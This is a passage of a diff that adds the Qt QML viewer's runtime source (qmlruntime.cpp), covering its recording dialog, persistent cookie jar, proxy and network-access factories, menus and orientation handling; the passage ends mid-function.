+ TARGET.UID3 = 0x20021317
+ include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri)
+ TARGET.EPOCHEAPSIZE = 0x20000 0x4000000
+ TARGET.CAPABILITY = NetworkServices ReadUserData
+
+ # Deploy plugin for remote debugging
+ qmldebuggingplugin.sources = $$QT_BUILD_TREE/plugins/qmltooling/qmldbg_tcp$${QT_LIBINFIX}.dll $$QT_BUILD_TREE/plugins/qmltooling/qmldbg_ost$${QT_LIBINFIX}.dll
+ qmldebuggingplugin.path = c:$$QT_PLUGINS_BASE_DIR/qmltooling
+ DEPLOYMENT += qmldebuggingplugin
+}
+mac {
+ QMAKE_INFO_PLIST=Info_mac.plist
+ TARGET=QMLViewer
+ ICON=qml.icns
+} else {
+ TARGET=qmlviewer
+}
diff --git a/tools/qml/qmlruntime.cpp b/tools/qml/qmlruntime.cpp
new file mode 100644
index 00000000..9f79f3b7
--- /dev/null
+++ b/tools/qml/qmlruntime.cpp
@@ -0,0 +1,1554 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qdeclarativeview.h>
+
+#ifdef hz
+#undef hz
+#endif
+#ifdef Q_WS_MAEMO_5
+# include <QMaemo5ValueButton>
+# include <QMaemo5ListPickSelector>
+# include <QWidgetAction>
+# include <QStringListModel>
+# include "ui_recopts_maemo5.h"
+#else
+# include "ui_recopts.h"
+#endif
+
+#include "qmlruntime.h"
+#include <qdeclarativecontext.h>
+#include <qdeclarativeengine.h>
+#include <qdeclarativenetworkaccessmanagerfactory.h>
+#include "qdeclarative.h"
+#include <QAbstractAnimation>
+#include <private/qabstractanimation_p.h>
+
+#include <QSettings>
+#include <QXmlStreamReader>
+#include <QBuffer>
+#include <QNetworkReply>
+#include <QNetworkCookieJar>
+#include <QNetworkDiskCache>
+#include <QNetworkAccessManager>
+#include <QSignalMapper>
+#include <QDeclarativeComponent>
+#include <QWidget>
+#include <QApplication>
+#include <QTranslator>
+#include <QDir>
+#include <QTextBrowser>
+#include <QFile>
+#include <QFileInfo>
+#include <QVBoxLayout>
+#include <QProgressDialog>
+#include <QProcess>
+#include <QMenuBar>
+#include <QMenu>
+#include <QAction>
+#include <QFileDialog>
+#include <QInputDialog>
+#include <QTimer>
+#include <QGraphicsObject>
+#include <QNetworkProxyFactory>
+#include <QKeyEvent>
+#include <QMutex>
+#include <QMutexLocker>
+#include "proxysettings.h"
+#include "deviceorientation.h"
+
+#ifdef GL_SUPPORTED
+#include <QGLWidget>
+#endif
+
+#if defined(Q_WS_S60)
+#include <aknappui.h> // For locking app orientation
+#endif
+
+#include <qdeclarativetester.h>
+
+QT_BEGIN_NAMESPACE
+
+class DragAndDropView : public QDeclarativeView
+{
+ Q_OBJECT
+public:
+ DragAndDropView(QDeclarativeViewer *parent = 0)
+ : QDeclarativeView(parent)
+ {
+ setAcceptDrops(true);
+ }
+
+ void dragEnterEvent(QDragEnterEvent *event)
+ {
+ const QMimeData *mimeData = event->mimeData();
+ if (mimeData->hasUrls())
+ event->acceptProposedAction();
+ }
+
+ void dragMoveEvent(QDragMoveEvent *event)
+ {
+ event->acceptProposedAction();
+ }
+
+ void dragLeaveEvent(QDragLeaveEvent *event)
+ {
+ event->accept();
+ }
+
+ void dropEvent(QDropEvent *event)
+ {
+ const QMimeData *mimeData = event->mimeData();
+ if (!mimeData->hasUrls())
+ return;
+ const QList<QUrl> urlList = mimeData->urls();
+ foreach (const QUrl &url, urlList) {
+ if (url.scheme() == QLatin1String("file")) {
+ static_cast<QDeclarativeViewer *>(parent())->open(url.toLocalFile());
+ event->accept();
+ return;
+ }
+ }
+ }
+};
+
+class Runtime : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(bool isActiveWindow READ isActiveWindow NOTIFY isActiveWindowChanged)
+ Q_PROPERTY(DeviceOrientation::Orientation orientation READ orientation NOTIFY orientationChanged)
+
+public:
+ static Runtime* instance()
+ {
+ static Runtime *instance = 0;
+ if (!instance)
+ instance = new Runtime;
+ return instance;
+ }
+
+ bool isActiveWindow() const { return activeWindow; }
+ void setActiveWindow(bool active)
+ {
+ if (active == activeWindow)
+ return;
+ activeWindow = active;
+ emit isActiveWindowChanged();
+ }
+
+ DeviceOrientation::Orientation orientation() const { return DeviceOrientation::instance()->orientation(); }
+
+Q_SIGNALS:
+ void isActiveWindowChanged();
+ void orientationChanged();
+
+private:
+ Runtime(QObject *parent=0) : QObject(parent), activeWindow(false)
+ {
+ connect(DeviceOrientation::instance(), SIGNAL(orientationChanged()),
+ this, SIGNAL(orientationChanged()));
+ }
+
+ bool activeWindow;
+};
+
+
+
+#if defined(Q_WS_MAEMO_5)
+
+class Maemo5PickerAction : public QWidgetAction {
+ Q_OBJECT
+public:
+ Maemo5PickerAction(const QString &text, QActionGroup *actions, QObject *parent)
+ : QWidgetAction(parent), m_text(text), m_actions(actions)
+ { }
+
+ QWidget *createWidget(QWidget *parent)
+ {
+ QMaemo5ValueButton *button = new QMaemo5ValueButton(m_text, parent);
+ button->setValueLayout(QMaemo5ValueButton::ValueUnderTextCentered);
+ QMaemo5ListPickSelector *pick = new QMaemo5ListPickSelector(button);
+ button->setPickSelector(pick);
+ if (m_actions) {
+ QStringList sl;
+ int curIdx = -1, idx = 0;
+ foreach (QAction *a, m_actions->actions()) {
+ sl << a->text();
+ if (a->isChecked())
+ curIdx = idx;
+ idx++;
+ }
+ pick->setModel(new QStringListModel(sl));
+ pick->setCurrentIndex(curIdx);
+ } else {
+ button->setEnabled(false);
+ }
+ connect(pick, SIGNAL(selected(QString)), this, SLOT(emitTriggered()));
+ return button;
+ }
+
+private slots:
+ void emitTriggered()
+ {
+ QMaemo5ListPickSelector *pick = qobject_cast<QMaemo5ListPickSelector *>(sender());
+ if (!pick)
+ return;
+ int idx = pick->currentIndex();
+
+ if (m_actions && idx >= 0 && idx < m_actions->actions().count())
+ m_actions->actions().at(idx)->trigger();
+ }
+
+private:
+ QString m_text;
+ QPointer<QActionGroup> m_actions;
+};
+
+#endif // Q_WS_MAEMO_5
+
+static struct { const char *name, *args; } ffmpegprofiles[] = {
+ {"Maximum Quality", "-sameq"},
+ {"High Quality", "-qmax 2"},
+ {"Medium Quality", "-qmax 6"},
+ {"Low Quality", "-qmax 16"},
+ {"Custom ffmpeg arguments", ""},
+ {0,0}
+};
+
+class RecordingDialog : public QDialog, public Ui::RecordingOptions {
+ Q_OBJECT
+
+public:
+ RecordingDialog(QWidget *parent) : QDialog(parent)
+ {
+ setupUi(this);
+#ifndef Q_WS_MAEMO_5
+ hz->setValidator(new QDoubleValidator(hz));
+#endif
+ for (int i=0; ffmpegprofiles[i].name; ++i) {
+ profile->addItem(QString::fromAscii(ffmpegprofiles[i].name));
+ }
+ }
+
+ void setArguments(QString a)
+ {
+ int i;
+ for (i=0; ffmpegprofiles[i].args[0]; ++i) {
+ if (QString::fromAscii(ffmpegprofiles[i].args) == a) {
+ profile->setCurrentIndex(i);
+ args->setText(QString::fromAscii(ffmpegprofiles[i].args));
+ return;
+ }
+ }
+ customargs = a;
+ args->setText(a);
+ profile->setCurrentIndex(i);
+ }
+
+ QString arguments() const
+ {
+ int i = profile->currentIndex();
+ return ffmpegprofiles[i].args[0] ? QLatin1String(ffmpegprofiles[i].args) : customargs;
+ }
+
+ void setOriginalSize(const QSize &s)
+ {
+ QString str = tr("Original (%1x%2)").arg(s.width()).arg(s.height());
+
+#ifdef Q_WS_MAEMO_5
+ sizeCombo->setItemText(0, str);
+#else
+ sizeOriginal->setText(str);
+ if (sizeWidth->value()<=1) {
+ sizeWidth->setValue(s.width());
+ sizeHeight->setValue(s.height());
+ }
+#endif
+ }
+
+ void showffmpegOptions(bool b)
+ {
+#ifdef Q_WS_MAEMO_5
+ profileLabel->setVisible(b);
+ profile->setVisible(b);
+ ffmpegHelp->setVisible(b);
+ args->setVisible(b);
+#else
+ ffmpegOptions->setVisible(b);
+#endif
+ }
+
+ void showRateOptions(bool b)
+ {
+#ifdef Q_WS_MAEMO_5
+ rateLabel->setVisible(b);
+ rateCombo->setVisible(b);
+#else
+ rateOptions->setVisible(b);
+#endif
+ }
+
+ void setVideoRate(int rate)
+ {
+#ifdef Q_WS_MAEMO_5
+ int idx;
+ if (rate >= 60)
+ idx = 0;
+ else if (rate >= 50)
+ idx = 2;
+ else if (rate >= 25)
+ idx = 3;
+ else if (rate >= 24)
+ idx = 4;
+ else if (rate >= 20)
+ idx = 5;
+ else if (rate >= 15)
+ idx = 6;
+ else
+ idx = 7;
+ rateCombo->setCurrentIndex(idx);
+#else
+ if (rate == 24)
+ hz24->setChecked(true);
+ else if (rate == 25)
+ hz25->setChecked(true);
+ else if (rate == 50)
+ hz50->setChecked(true);
+ else if (rate == 60)
+ hz60->setChecked(true);
+ else {
+ hzCustom->setChecked(true);
+ hz->setText(QString::number(rate));
+ }
+#endif
+ }
+
+ int videoRate() const
+ {
+#ifdef Q_WS_MAEMO_5
+ switch (rateCombo->currentIndex()) {
+ case 0: return 60;
+ case 1: return 50;
+ case 2: return 25;
+ case 3: return 24;
+ case 4: return 20;
+ case 5: return 15;
+ case 7: return 10;
+ default: return 60;
+ }
+#else
+ if (hz24->isChecked())
+ return 24;
+ else if (hz25->isChecked())
+ return 25;
+ else if (hz50->isChecked())
+ return 50;
+ else if (hz60->isChecked())
+ return 60;
+ else {
+ return hz->text().toInt();
+ }
+#endif
+ }
+
+ QSize videoSize() const
+ {
+#ifdef Q_WS_MAEMO_5
+ switch (sizeCombo->currentIndex()) {
+ case 0: return QSize();
+ case 1: return QSize(640,480);
+ case 2: return QSize(320,240);
+ case 3: return QSize(1280,720);
+ default: return QSize();
+ }
+#else
+ if (sizeOriginal->isChecked())
+ return QSize();
+ else if (size720p->isChecked())
+ return QSize(1280,720);
+ else if (sizeVGA->isChecked())
+ return QSize(640,480);
+ else if (sizeQVGA->isChecked())
+ return QSize(320,240);
+ else
+ return QSize(sizeWidth->value(), sizeHeight->value());
+#endif
+ }
+
+
+
+private slots:
+ void pickProfile(int i)
+ {
+ if (ffmpegprofiles[i].args[0]) {
+ args->setText(QLatin1String(ffmpegprofiles[i].args));
+ } else {
+ args->setText(customargs);
+ }
+ }
+
+ void storeCustomArgs(QString s)
+ {
+ setArguments(s);
+ }
+
+private:
+ QString customargs;
+};
+
+class PersistentCookieJar : public QNetworkCookieJar {
+public:
+ PersistentCookieJar(QObject *parent) : QNetworkCookieJar(parent) { load(); }
+ ~PersistentCookieJar() { save(); }
+
+ virtual QList<QNetworkCookie> cookiesForUrl(const QUrl &url) const
+ {
+ QMutexLocker lock(&mutex);
+ return QNetworkCookieJar::cookiesForUrl(url);
+ }
+
+ virtual bool setCookiesFromUrl(const QList<QNetworkCookie> &cookieList, const QUrl &url)
+ {
+ QMutexLocker lock(&mutex);
+ return QNetworkCookieJar::setCookiesFromUrl(cookieList, url);
+ }
+
+private:
+ void save()
+ {
+ QMutexLocker lock(&mutex);
+ QList<QNetworkCookie> list = allCookies();
+ QByteArray data;
+ foreach (QNetworkCookie cookie, list) {
+ if (!cookie.isSessionCookie()) {
+ data.append(cookie.toRawForm());
+ data.append("\n");
+ }
+ }
+ QSettings settings;
+ settings.setValue(QLatin1String("Cookies"), data);
+ }
+
+ void load()
+ {
+ QMutexLocker lock(&mutex);
+ QSettings settings;
+ QByteArray data = settings.value(QLatin1String("Cookies")).toByteArray();
+ setAllCookies(QNetworkCookie::parseCookies(data));
+ }
+
+ mutable QMutex mutex;
+};
+
+class SystemProxyFactory : public QNetworkProxyFactory
+{
+public:
+ SystemProxyFactory() : proxyDirty(true), httpProxyInUse(false) {
+ }
+
+ virtual QList<QNetworkProxy> queryProxy(const QNetworkProxyQuery &query)
+ {
+ if (proxyDirty)
+ setupProxy();
+ QString protocolTag = query.protocolTag();
+ if (httpProxyInUse && (protocolTag == QLatin1String("http") || protocolTag == QLatin1String("https"))) {
+ QList<QNetworkProxy> ret;
+ ret << httpProxy;
+ return ret;
+ }
+#ifdef Q_OS_WIN
+ // systemProxyForQuery can take insanely long on Windows (QTBUG-10106)
+ return QNetworkProxyFactory::proxyForQuery(query);
+#else
+ return QNetworkProxyFactory::systemProxyForQuery(query);
+#endif
+ }
+
+ void setupProxy() {
+ // Don't bother locking because we know that the proxy only
+ // changes in response to the settings dialog and that
+ // the view will be reloaded.
+ proxyDirty = false;
+ httpProxyInUse = ProxySettings::httpProxyInUse();
+ if (httpProxyInUse)
+ httpProxy = ProxySettings::httpProxy();
+ }
+
+ void proxyChanged() {
+ proxyDirty = true;
+ }
+
+private:
+ volatile bool proxyDirty;
+ bool httpProxyInUse;
+ QNetworkProxy httpProxy;
+};
+
+class NetworkAccessManagerFactory : public QObject, public QDeclarativeNetworkAccessManagerFactory
+{
+ Q_OBJECT
+public:
+ NetworkAccessManagerFactory() : cacheSize(0) {}
+ ~NetworkAccessManagerFactory() {}
+
+ QNetworkAccessManager *create(QObject *parent);
+
+ void setCacheSize(int size) {
+ if (size != cacheSize) {
+ cacheSize = size;
+ }
+ }
+
+ void proxyChanged() {
+ foreach (QNetworkAccessManager *nam, namList) {
+ static_cast<SystemProxyFactory*>(nam->proxyFactory())->proxyChanged();
+ }
+ }
+
+ static PersistentCookieJar *cookieJar;
+
+private slots:
+ void managerDestroyed(QObject *obj) {
+ namList.removeOne(static_cast<QNetworkAccessManager*>(obj));
+ }
+
+private:
+ QMutex mutex;
+ int cacheSize;
+ QList<QNetworkAccessManager*> namList;
+};
+
+PersistentCookieJar *NetworkAccessManagerFactory::cookieJar = 0;
+
+static void cleanup_cookieJar()
+{
+ delete NetworkAccessManagerFactory::cookieJar;
+ NetworkAccessManagerFactory::cookieJar = 0;
+}
+
+QNetworkAccessManager *NetworkAccessManagerFactory::create(QObject *parent)
+{
+ QMutexLocker lock(&mutex);
+ QNetworkAccessManager *manager = new QNetworkAccessManager(parent);
+ if (!cookieJar) {
+ qAddPostRoutine(cleanup_cookieJar);
+ cookieJar = new PersistentCookieJar(0);
+ }
+ manager->setCookieJar(cookieJar);
+ cookieJar->setParent(0);
+ manager->setProxyFactory(new SystemProxyFactory);
+ if (cacheSize > 0) {
+ QNetworkDiskCache *cache = new QNetworkDiskCache;
+ cache->setCacheDirectory(QDir::tempPath()+QLatin1String("/qml-viewer-network-cache"));
+ cache->setMaximumCacheSize(cacheSize);
+ manager->setCache(cache);
+ } else {
+ manager->setCache(0);
+ }
+ connect(manager, SIGNAL(destroyed(QObject*)), this, SLOT(managerDestroyed(QObject*)));
+ namList.append(manager);
+ return manager;
+}
+
+QString QDeclarativeViewer::getVideoFileName()
+{
+ QString title = convertAvailable || ffmpegAvailable ? tr("Save Video File") : tr("Save PNG Frames");
+ QStringList types;
+ if (ffmpegAvailable) types += tr("Common Video files")+QLatin1String(" (*.avi *.mpeg *.mov)");
+ if (convertAvailable) types += tr("GIF Animation")+QLatin1String(" (*.gif)");
+ types += tr("Individual PNG frames")+QLatin1String(" (*.png)");
+ if (ffmpegAvailable) types += tr("All ffmpeg formats (*.*)");
+ return QFileDialog::getSaveFileName(this, title, QString(), types.join(QLatin1String(";; ")));
+}
+
+QDeclarativeViewer::QDeclarativeViewer(QWidget *parent, Qt::WindowFlags flags)
+ : QMainWindow(parent, flags)
+ , loggerWindow(new LoggerWidget(this))
+ , frame_stream(0)
+ , rotateAction(0)
+ , orientation(0)
+ , showWarningsWindow(0)
+ , m_scriptOptions(0)
+ , tester(0)
+ , useQmlFileBrowser(true)
+ , translator(0)
+{
+ QDeclarativeViewer::registerTypes();
+ setWindowTitle(tr("Qt QML Viewer"));
+#ifdef Q_WS_MAEMO_5
+ setAttribute(Qt::WA_Maemo5StackedWindow);
+// setPalette(QApplication::palette("QLabel"));
+#endif
+
+ devicemode = false;
+ canvas = 0;
+ record_autotime = 0;
+ record_rate = 50;
+ record_args += QLatin1String("-sameq");
+
+ recdlg = new RecordingDialog(this);
+ connect(recdlg->pickfile, SIGNAL(clicked()), this, SLOT(pickRecordingFile()));
+ senseFfmpeg();
+ senseImageMagick();
+ if (!ffmpegAvailable)
+ recdlg->showffmpegOptions(false);
+ if (!ffmpegAvailable && !convertAvailable)
+ recdlg->showRateOptions(false);
+ QString warn;
+ if (!ffmpegAvailable) {
+ if (!convertAvailable)
+ warn = tr("ffmpeg and ImageMagick not available - no video output");
+ else
+ warn = tr("ffmpeg not available - GIF and PNG outputs only");
+ recdlg->warning->setText(warn);
+ } else {
+ recdlg->warning->hide();
+ }
+
+ canvas = new DragAndDropView(this);
+
+ canvas->setAttribute(Qt::WA_OpaquePaintEvent);
+ canvas->setAttribute(Qt::WA_NoSystemBackground);
+
+ canvas->setFocus();
+
+ QObject::connect(canvas, SIGNAL(sceneResized(QSize)), this, SLOT(sceneResized(QSize)));
+ QObject::connect(canvas, SIGNAL(statusChanged(QDeclarativeView::Status)), this, SLOT(statusChanged()));
+ QObject::connect(canvas->engine(), SIGNAL(quit()), this, SLOT(close()));
+
+ QObject::connect(warningsWidget(), SIGNAL(opened()), this, SLOT(warningsWidgetOpened()));
+ QObject::connect(warningsWidget(), SIGNAL(closed()), this, SLOT(warningsWidgetClosed()));
+
+ if (!(flags & Qt::FramelessWindowHint)) {
+ createMenu();
+ changeOrientation(orientation->actions().value(0));
+ } else {
+ setMenuBar(0);
+ }
+
+ setCentralWidget(canvas);
+
+ namFactory = new NetworkAccessManagerFactory;
+ canvas->engine()->setNetworkAccessManagerFactory(namFactory);
+
+ connect(&autoStartTimer, SIGNAL(timeout()), this, SLOT(autoStartRecording()));
+ connect(&autoStopTimer, SIGNAL(timeout()), this, SLOT(autoStopRecording()));
+ connect(&recordTimer, SIGNAL(timeout()), this, SLOT(recordFrame()));
+ connect(DeviceOrientation::instance(), SIGNAL(orientationChanged()),
+ this, SLOT(orientationChanged()), Qt::QueuedConnection);
+ autoStartTimer.setSingleShot(true);
+ autoStopTimer.setSingleShot(true);
+ recordTimer.setSingleShot(false);
+
+ QObject::connect(qApp, SIGNAL(aboutToQuit()), this, SLOT(appAboutToQuit()));
+}
+
+QDeclarativeViewer::~QDeclarativeViewer()
+{
+ delete loggerWindow;
+ canvas->engine()->setNetworkAccessManagerFactory(0);
+ delete namFactory;
+}
+
+void QDeclarativeViewer::enableExperimentalGestures()
+{
+#ifndef QT_NO_GESTURES
+ canvas->viewport()->grabGesture(Qt::TapGesture,Qt::DontStartGestureOnChildren|Qt::ReceivePartialGestures|Qt::IgnoredGesturesPropagateToParent);
+ canvas->viewport()->grabGesture(Qt::TapAndHoldGesture,Qt::DontStartGestureOnChildren|Qt::ReceivePartialGestures|Qt::IgnoredGesturesPropagateToParent);
+ canvas->viewport()->grabGesture(Qt::PanGesture,Qt::DontStartGestureOnChildren|Qt::ReceivePartialGestures|Qt::IgnoredGesturesPropagateToParent);
+ canvas->viewport()->grabGesture(Qt::PinchGesture,Qt::DontStartGestureOnChildren|Qt::ReceivePartialGestures|Qt::IgnoredGesturesPropagateToParent);
+ canvas->viewport()->grabGesture(Qt::SwipeGesture,Qt::DontStartGestureOnChildren|Qt::ReceivePartialGestures|Qt::IgnoredGesturesPropagateToParent);
+ canvas->viewport()->setAttribute(Qt::WA_AcceptTouchEvents);
+#endif
+}
+
+QDeclarativeView *QDeclarativeViewer::view() const
+{
+ return canvas;
+}
+
+LoggerWidget *QDeclarativeViewer::warningsWidget() const
+{
+ return loggerWindow;
+}
+
+void QDeclarativeViewer::createMenu()
+{
+ QAction *openAction = new QAction(tr("&Open..."), this);
+ openAction->setShortcuts(QKeySequence::Open);
+ connect(openAction, SIGNAL(triggered()), this, SLOT(openFile()));
+
+ QAction *openUrlAction = new QAction(tr("Open &URL..."), this);
+ connect(openUrlAction, SIGNAL(triggered()), this, SLOT(openUrl()));
+
+ QAction *reloadAction = new QAction(tr("&Reload"), this);
+ reloadAction->setShortcuts(QKeySequence::Refresh);
+ connect(reloadAction, SIGNAL(triggered()), this, SLOT(reload()));
+
+ QAction *snapshotAction = new QAction(tr("&Take Snapshot"), this);
+ snapshotAction->setShortcut(QKeySequence(tr("F3")));
+ connect(snapshotAction, SIGNAL(triggered()), this, SLOT(takeSnapShot()));
+
+ recordAction = new QAction(tr("Start Recording &Video"), this);
+ recordAction->setShortcut(QKeySequence(tr("F9")));
+ connect(recordAction, SIGNAL(triggered()), this, SLOT(toggleRecordingWithSelection()));
+
+ QAction *recordOptions = new QAction(tr("Video &Options..."), this);
+ connect(recordOptions, SIGNAL(triggered()), this, SLOT(chooseRecordingOptions()));
+
+ QAction *slowAction = new QAction(tr("&Slow Down Animations"), this);
+ slowAction->setShortcut(QKeySequence(tr("Ctrl+.")));
+ slowAction->setCheckable(true);
+ connect(slowAction, SIGNAL(triggered(bool)), this, SLOT(setSlowMode(bool)));
+
+ showWarningsWindow = new QAction(tr("Show Warnings"), this);
+#if !defined(Q_OS_SYMBIAN)
+ showWarningsWindow->setCheckable((true));
+ showWarningsWindow->setChecked(loggerWindow->isVisible());
+#endif
+ connect(showWarningsWindow, SIGNAL(triggered(bool)), this, SLOT(showWarnings(bool)));
+
+ QAction *proxyAction = new QAction(tr("HTTP &Proxy..."), this);
+ connect(proxyAction, SIGNAL(triggered()), this, SLOT(showProxySettings()));
+
+ QAction *fullscreenAction = new QAction(tr("Full Screen"), this);
+ fullscreenAction->setCheckable(true);
+ connect(fullscreenAction, SIGNAL(triggered()), this, SLOT(toggleFullScreen()));
+
+ rotateAction = new QAction(tr("Rotate orientation"), this);
+ rotateAction->setShortcut(QKeySequence(tr("Ctrl+T")));
+ connect(rotateAction, SIGNAL(triggered()), this, SLOT(rotateOrientation()));
+
+ orientation = new QActionGroup(this);
+ orientation->setExclusive(true);
+ connect(orientation, SIGNAL(triggered(QAction*)), this, SLOT(changeOrientation(QAction*)));
+
+#if defined(Q_OS_SYMBIAN)
+ QAction *autoOrientationAction = new QAction(tr("Auto-orientation"), this);
+ autoOrientationAction->setCheckable(true);
+#endif
+ QAction *portraitAction = new QAction(tr("Portrait"), this);
+ portraitAction->setCheckable(true);
+ QAction *landscapeAction = new QAction(tr("Landscape"), this);
+ landscapeAction->setCheckable(true);
+#if !defined(Q_OS_SYMBIAN)
+ QAction *portraitInvAction = new QAction(tr("Portrait (inverted)"), this);
+ portraitInvAction->setCheckable(true);
+ QAction *landscapeInvAction = new QAction(tr("Landscape (inverted)"), this);
+ landscapeInvAction->setCheckable(true);
+#endif
+
+ QAction *aboutAction = new QAction(tr("&About Qt..."), this);
+ aboutAction->setMenuRole(QAction::AboutQtRole);
+ connect(aboutAction, SIGNAL(triggered()), qApp, SLOT(aboutQt()));
+
+#if !defined(Q_OS_SYMBIAN)
+ QAction *closeAction = new QAction(tr("&Close"), this);
+ closeAction->setShortcuts(QKeySequence::Close);
+ connect(closeAction, SIGNAL(triggered()), this, SLOT(close()));
+#endif
+
+ QAction *quitAction = new QAction(tr("&Quit"), this);
+ quitAction->setMenuRole(QAction::QuitRole);
+ quitAction->setShortcuts(QKeySequence::Quit);
+ connect(quitAction, SIGNAL(triggered()), qApp, SLOT(quit()));
+
+ QMenuBar *menu = menuBar();
+ if (!menu)
+ return;
+
+#if defined(Q_WS_MAEMO_5)
+ menu->addAction(openAction);
+ menu->addAction(openUrlAction);
+ menu->addAction(reloadAction);
+
+ menu->addAction(snapshotAction);
+ menu->addAction(recordAction);
+
+ menu->addAction(recordOptions);
+ menu->addAction(proxyAction);
+
+ menu->addAction(slowAction);
+ menu->addAction(showWarningsWindow);
+
+ orientation->addAction(landscapeAction);
+ orientation->addAction(portraitAction);
+ menu->addAction(new Maemo5PickerAction(tr("Set orientation"), orientation, this));
+ menu->addAction(fullscreenAction);
+ return;
+#endif // Q_WS_MAEMO_5
+
+ QMenu *fileMenu = menu->addMenu(tr("&File"));
+ fileMenu->addAction(openAction);
+ fileMenu->addAction(openUrlAction);
+ fileMenu->addAction(reloadAction);
+#if !defined(Q_OS_SYMBIAN)
+ fileMenu->addSeparator();
+ fileMenu->addAction(closeAction);
+ fileMenu->addAction(quitAction);
+
+ QMenu *recordMenu = menu->addMenu(tr("&Recording"));
+ recordMenu->addAction(snapshotAction);
+ recordMenu->addAction(recordAction);
+#endif // ! Q_OS_SYMBIAN
+
+ QMenu *debugMenu = menu->addMenu(tr("&Debugging"));
+ debugMenu->addAction(slowAction);
+ debugMenu->addAction(showWarningsWindow);
+
+ QMenu *settingsMenu = menu->addMenu(tr("&Settings"));
+ settingsMenu->addAction(proxyAction);
+#if defined(Q_OS_SYMBIAN)
+ settingsMenu->addAction(fullscreenAction);
+#else
+ settingsMenu->addAction(recordOptions);
+ settingsMenu->addMenu(loggerWindow->preferencesMenu());
+#endif // !Q_OS_SYMBIAN
+ settingsMenu->addAction(rotateAction);
+
+ QMenu *propertiesMenu = settingsMenu->addMenu(tr("Properties"));
+
+#if defined(Q_OS_SYMBIAN)
+ orientation->addAction(autoOrientationAction);
+#endif
+ orientation->addAction(portraitAction);
+ orientation->addAction(landscapeAction);
+#if !defined(Q_OS_SYMBIAN)
+ orientation->addAction(portraitInvAction);
+ orientation->addAction(landscapeInvAction);
+#endif
+ propertiesMenu->addActions(orientation->actions());
+
+ QMenu *helpMenu = menu->addMenu(tr("&Help"));
+ helpMenu->addAction(aboutAction);
+}
+
+void QDeclarativeViewer::showProxySettings()
+{
+ ProxySettings settingsDlg (this);
+
+ connect (&settingsDlg, SIGNAL (accepted()), this, SLOT (proxySettingsChanged ()));
+
+ settingsDlg.exec();
+}
+
+void QDeclarativeViewer::proxySettingsChanged()
+{
+ namFactory->proxyChanged();
+ reload ();
+}
+
+void QDeclarativeViewer::rotateOrientation()
+{
+#if defined(Q_WS_S60)
+ CAknAppUi *appUi = static_cast<CAknAppUi *>(CEikonEnv::Static()->AppUi());
+ if (appUi) {
+ CAknAppUi::TAppUiOrientation oldOrientation = appUi->Orientation();
+ QString newOrientation;
+ if (oldOrientation == CAknAppUi::EAppUiOrientationPortrait) {
+ newOrientation = QLatin1String("Landscape");
+ } else {
+ newOrientation = QLatin1String("Portrait");
+ }
+ foreach (QAction *action, orientation->actions()) {
+ if (action->text() == newOrientation) {
+ changeOrientation(action);
+ }
+ }
+ }
+#else
+ QAction *current = orientation->checkedAction();
+ QList<QAction *> actions = orientation->actions();
+ int index = actions.indexOf(current);
+ if (index < 0)
+ return;
+
+ QAction *newOrientation = actions[(index + 1) % actions.count()];
+ changeOrientation(newOrientation);
+#endif
+}
+
+void QDeclarativeViewer::toggleFullScreen()
+{
+ if (isFullScreen())
+ showMaximized();
+ else
+ showFullScreen();
+}
+
+void QDeclarativeViewer::showWarnings(bool show)
+{
+#if defined(Q_OS_SYMBIAN)
+ loggerWindow->showMaximized();
+#else
+ loggerWindow->setVisible(show);
+#endif
+}
+
+void QDeclarativeViewer::warningsWidgetOpened()
+{
+ showWarningsWindow->setChecked(true);
+}
+
+void QDeclarativeViewer::warningsWidgetClosed()
+{
+ showWarningsWindow->setChecked(false);
+}
+
+void QDeclarativeViewer::takeSnapShot()
+{
+ static int snapshotcount = 1;
+ QString snapFileName = QString(QLatin1String("snapshot%1.png")).arg(snapshotcount);
+ QPixmap::grabWidget(canvas).save(snapFileName);
+ qDebug() << "Wrote" << snapFileName;
+ ++snapshotcount;
+}
+
+void QDeclarativeViewer::pickRecordingFile()
+{
+ QString fileName = getVideoFileName();
+ if (!fileName.isEmpty())
+ recdlg->file->setText(fileName);
+}
+
+void QDeclarativeViewer::chooseRecordingOptions()
+{
+ // File
+ recdlg->file->setText(record_file);
+
+ // Size
+ recdlg->setOriginalSize(canvas->size());
+
+ // Rate
+ recdlg->setVideoRate(record_rate);
+
+
+ // Profile
+ recdlg->setArguments(record_args.join(QLatin1String(" ")));
+ if (recdlg->exec()) {
+ // File
+ record_file = recdlg->file->text();
+ // Size
+ record_outsize = recdlg->videoSize();
+ // Rate
+ record_rate = recdlg->videoRate();
+ // Profile
+ record_args = recdlg->arguments().split(QLatin1Char(' '),QString::SkipEmptyParts);
+ }
+}
+
+void QDeclarativeViewer::toggleRecordingWithSelection()
+{
+ if (!recordTimer.isActive()) {
+ if (record_file.isEmpty()) {
+ QString fileName = getVideoFileName();
+ if (fileName.isEmpty())
+ return;
+ if (!fileName.contains(QRegExp(QLatin1String(".[^\\/]*$"))))
+ fileName += QLatin1String(".avi");
+ setRecordFile(fileName);
+ }
+ }
+ toggleRecording();
+}
+
+void QDeclarativeViewer::toggleRecording()
+{
+ if (record_file.isEmpty()) {
+ toggleRecordingWithSelection();
+ return;
+ }
+ bool recording = !recordTimer.isActive();
